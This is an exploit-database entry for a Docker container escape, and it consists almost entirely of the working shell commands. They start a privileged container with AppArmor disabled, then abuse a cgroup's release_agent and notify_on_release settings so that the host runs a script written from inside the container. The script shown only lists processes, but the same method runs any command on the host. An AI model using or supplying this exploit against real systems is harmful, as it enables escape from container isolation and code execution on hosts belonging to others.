Docker - Container Escape Exploit

2019-07-22T00:00:00
ID 1337DAY-ID-33003
Type zdt
Reporter dominikczarnotatob
Modified 2019-07-22T00:00:00

Description

Exploit for linux platform in category local exploits

                                        
                                            Docker - Container Escape Exploit

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

#  0day.today [2019-12-04]  #